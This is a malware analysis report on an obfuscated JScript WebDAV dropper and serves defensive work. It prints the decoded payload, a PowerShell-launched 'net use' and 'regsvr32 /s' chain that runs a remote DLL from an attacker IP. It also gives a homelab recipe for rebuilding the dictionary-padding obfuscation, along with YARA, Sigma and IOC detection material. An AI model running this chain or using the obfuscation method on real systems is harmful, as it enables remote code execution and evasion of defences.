typeanalysisfamilyunclassified-js-webdav-dropperconfidencehighcreated2026-07-21updated2026-07-21scriptdropperc2obfuscationdefense-evasionexecutionmitre-attck
SHA-256: e6252c9256a37701fe38d5a4dabfeab6059a6ab3c3a2051dc3e3edb2fc780eac

unclassified-js-webdav-dropper: e6252c92 — 1.37 MB extreme-padded dictionary JScript, WebDAV C2 94.159.113.79

Executive Summary

Eighty-fourth confirmed sibling in the unclassified-js-webdav-dropper family: a 1.37 MB single-line JScript dropper using a 62-entry dictionary lookup table with extreme key padding (individual keys exceed 1,000 characters). The decoded payload mounts a WebDAV share at 94.159.113.79:8888 and silently registers a remote DLL (82643222928915.dll) via regsvr32 /s. A timeout 1 anti-emulation gate precedes execution. PowerShell -EncodedCommand wrapper present. Static-only analysis (JScript is not a supported CAPE binary class). ^[file.txt]

What It Is

  • File: e6252c9256a37701fe38d5a4dabfeab6059a6ab3c3a2051dc3e3edb2fc780eac.bin (1,376,509 bytes) ^[file.txt]
  • Type: ASCII text, single line, no line terminators ^[file.txt]
  • Language: JScript (Windows Script Host)
  • Obfuscation dialect: Dictionary lookup-table (62 entries) with extreme key padding. Dictionary object name is a 1,268-character random-alphabet string (pepbtvuucjsiafwlsdylnjkoxxrnmogyhjzgqfwffrmxobojhbxezzreoamsqdfymzpttfbpfvuprfiqjwzzaljswyzbyzqlduahhtfstlrwwdsnvhkrqcrintxthqzjktolcbulinuzlazajjcppsdjrpvqsqxsqzxpntctmkubbpnlmfjuvqqkemphgrpupsbmwjqgrexbchbtfsjwkbsbsatzclinivrtuoishiemgcwisoiqromgmukoiwysvrffwncijnpzdbwbsllttogtkkctjfkquloowogpardqmnazftjmjylwmohlalimkecijycgoxuwikudrygtziuxltwtyfayocqnvkzzjdyloyjgrgswrelagoysforayflmumyxdhugvyfxancsqolobcgzymsnidkbbfhygrsjfmxdivxnfutthsdtcszxhxbrcfzhulhaopgajdtevqyraodhkqfqztlnlwtsdiljvjgiimmvdppljezzikimqeamijndahvtqxskkucfjrhtcgekorzxdktmbwqhaywlcesrcjpqefhqwlymsegxhintjuowhwcnmnidwbsnbvswgwkegskbnvolklljdfyazvllwjbovakbxvbupmkjlapviunrxesmrchkscbpsumlswweanmertypofiakaaoaukilpglsjkpyzsoktptmzeuekrwhsewikeirrlwuvhbquutgmynqawekqgvlequfegbzhjssqutlyshcjkcrdzpimrrhexoxeotyeeqhsahctzmoyihqnlljwkupukmkoomdgwkrbeygjtvqzqfgmscrfsvfzwfygkaztqowdniraaqugkqrhfpxzccarjacmuarmkuyyyfcukhuxfxoeclqehvltcwtrrbzmukvtztwcfjybsdzdbudxbzthxzwgujikkxyofnzmxgfjxcwdcxrumokvsuylnbnznlykyvaefafsifwjaxsrsdyfbkpyzdyickbaytuwejxtpfbtrksvqhazvyuuvjkkhrucunfkdgbvuivjeltlshpaotgluttevinfejzsxrdzlmhjajtgbqxpvhrmncrudmhopekvhaqxcyvqdauuowvpslkdhgsvhtmaqlimaggpzbpwqmrjnsdpgmjxqqphfbpzipxrwhlwrjefwbxsebvhmltxbcrlexiuxwqunuqpxiszpguokqvnsaoekkkoscpexacfekulcannoncalculatinglumpy). Each of the 62 keys is a 1,000–2,000 character noise string ending with a short natural-language compound phrase (e.g., ...transportgigantic, ...slowplanthelp, ...commonmeaslybirthday).
  • Family ascription: Confirmed sibling of unclassified-js-webdav-dropper — identical execution engine (dictionary lookup → Function('return this')()WScript.Shell.Run → PowerShell -EncodedCommandnet use + regsvr32 /s over WebDAV UNC), same 94.159.113.x C2 subnet, same numeric payload filename pattern.

How It Works

The script is a single semicolon-delimited statement sequence: ^[strings.txt]

  1. var <name> = [] — initializes the dictionary object (1,268-character variable name).
  2. 62 assignments of the form <name>['<extremely-long-key>'] = '<char>' — populate the lookup table. Each key is unique and maps to a single ASCII character.
  3. Function('' + <name>['key1'] + <name>['key2'] + ... + '')() — assembles the payload by concatenating 407 dictionary lookups, passes the resulting string to the Function constructor, and immediately invokes it.

The decoded JavaScript payload is: ^[manual-decode]

returnthis.WScript.CreateObject('WScript.Shell').run(
    "powershell -EncodedCommand <base64>", 0, false
);

The Base64 string (UTF-16LE) decodes to: ^[manual-decode]

timeout 1;
cmd /c net use \\94.159.113.79@8888\davwwwroot\;
cmd /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\82643222928915.dll

The timeout 1 acts as an anti-emulation gate (delays execution by one second). regsvr32 /s silently registers the remote DLL without UI. 0, false in the Run call hides the window and does not wait for completion.

Decompiled Behavior

Not applicable — this sample is a JScript text file, not a PE binary. No Ghidra, radare2, or capa analysis is meaningful. Static deobfuscation was performed via Python regex extraction of dictionary assignments and Function argument reconstruction.

C2 Infrastructure

Indicator Value Notes
WebDAV mount \\94.159.113.79@8888\davwwwroot\ Same /24 subnet as 66th sibling fbdd83ad (.84), 68th fe261d49 (.79), 78th dbdb99f1 (.86), 81st dfb1eb98 (.82), and 65th fa8c6d74 (.204) ^[manual-decode]
Payload filename 82643222928915.dll Numeric-only filename, consistent with family pattern
Execution vector regsvr32 /s Silent DLL registration over UNC path ^[manual-decode]
Transport HTTP (WebDAV) Port 8888, non-standard WebDAV port ^[manual-decode]
Anti-emulation timeout 1 One-second delay before payload execution ^[manual-decode]

Interesting Tidbits

  • Extreme key padding: Individual dictionary keys exceed 1,000 characters, making the file 1.37 MB despite only 62 entries and a ~400-character payload. The padding is random lowercase alphabet noise with no semantic content until the final 10–20 characters. ^[manual-decode]
  • Variable name length: The dictionary object name is 1,268 characters — fourth-longest in the family after dfb1eb98 (3,787 chars), dbdb99f1 (2,337 chars), and f8dce7df (2,478 chars). ^[manual-decode]
  • PowerShell wrapper: Uses -EncodedCommand rather than -windowstyle hidden, a minor variation from some batch-mode siblings. The encoded payload contains the full net use + regsvr32 chain. ^[manual-decode]
  • No persistence, no decoy, no sandbox gate: Unlike batch siblings that launch wordpad or check LCID, this JScript variant is minimal — no decoy process, no locale check, no startup-folder copy. ^[manual-decode]
  • File size anomaly: At 1.37 MB, this is one of the largest JScript droppers in the corpus. The bloat is purely padding; the functional script would be <2 KB if deobfuscated.

How To Mess With It (Homelab Replication)

  1. Encode your payload. Write a JScript command that uses WScript.Shell.Run to execute a benign command (e.g., calc.exe).
  2. Build the dictionary. Generate 62 random noise strings (1,000+ chars each) and map them to the characters of your payload.
  3. Assemble the script. Concatenate: var <longname>=[]; <longname>['<key1>']='a'; ... ; Function('' + <longname>['<key1>'] + ...)()
  4. Test in WSH. Save as .js, double-click in Windows. Verify wscript.exe spawns the target process.
  5. Detection exercise. Run your replica against your EDR. Confirm that static string matching fails but behavioral detection (wscript.exepowershell.execmd.exe chain) catches it.

Deployable Signatures

YARA Rule

rule js_webdav_dropper_extreme_padding {
    meta:
        description = "JScript WebDAV dropper with extreme dictionary key padding"
        author = "PacketPursuit"
        date = "2026-07-21"
        sha256 = "e6252c9256a37701fe38d5a4dabfeab6059a6ab3c3a2051dc3e3edb2fc780eac"
        family = "unclassified-js-webdav-dropper"
    strings:
        $a = /var\s+\w{500,}\s*=\s*\[\]/
        $b = /\w{500,}\['\w{500,}'\]\s*=\s*'[\x00-\x7F]'
        $c = "Function('" 
        $d = "EncodedCommand"
        $e = "davwwwroot"
    condition:
        filesize > 500KB and
        #a >= 1 and
        #b >= 50 and
        all of ($c, $d, $e)
}

Behavioral Hunt Query (Sigma-like)

Process creation chain detection:

title: JScript WebDAV Dropper Execution Chain
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\\wscript.exe'
    Image|endswith: '\\powershell.exe'
    CommandLine|contains:
      - 'EncodedCommand'
      - 'davwwwroot'
  condition: selection
falsepositives:
  - Unknown
level: high

IOC List

Type Value
SHA-256 e6252c9256a37701fe38d5a4dabfeab6059a6ab3c3a2051dc3e3edb2fc780eac
Script size 1,376,509 bytes
C2 IP 94.159.113.79
C2 port 8888
WebDAV path \\94.159.113.79@8888\davwwwroot\
Payload 82643222928915.dll
Execution regsvr32 /s
Anti-emulation timeout 1

Behavioral Fingerprint

This JScript dropper initializes a dictionary object with an extremely long variable name (500–3,700+ characters), populates 36–100 entries mapping massive noise keys to single characters, then assembles a payload via the Function('return this')() constructor. The resulting command spawns powershell.exe -EncodedCommand, which decodes to cmd.exe executing net use against a host@8888\davwwwroot\ UNC path followed by regsvr32 /s on a numeric-only DLL filename. No persistence, no decoy, no sandbox gates. Typical file size 500 KB–3.5 MB due to padding.

Detection Signatures

  • CAPE: Skipped — file type ASCII text, with very long lines is not a supported binary class for detonation. ^[dynamic-analysis.md]
  • capa: No meaningful matches (not a PE binary). ^[capa.txt]
  • floss: No meaningful matches (not a PE binary). ^[floss.txt]

References

Provenance

Analysis performed on pp-hermes (Lab1BU, <lan>) using Python 3.11 regex extraction. File read from <sample e6252c9256a3.bin>. Dictionary assignments parsed via re.search(r"lumpy\['([^']+)'\]\s*=\s*'([^']+)'\s*$", ...) and Function argument reconstructed via re.findall(r"lumpy\['([^']+)'\]", ...). Base64 decoded with Python base64.b64decode() and UTF-16LE transcoding. No CAPE detonation available (JScript not a supported binary class). ^[file.txt] ^[triage.json] ^[dynamic-analysis.md]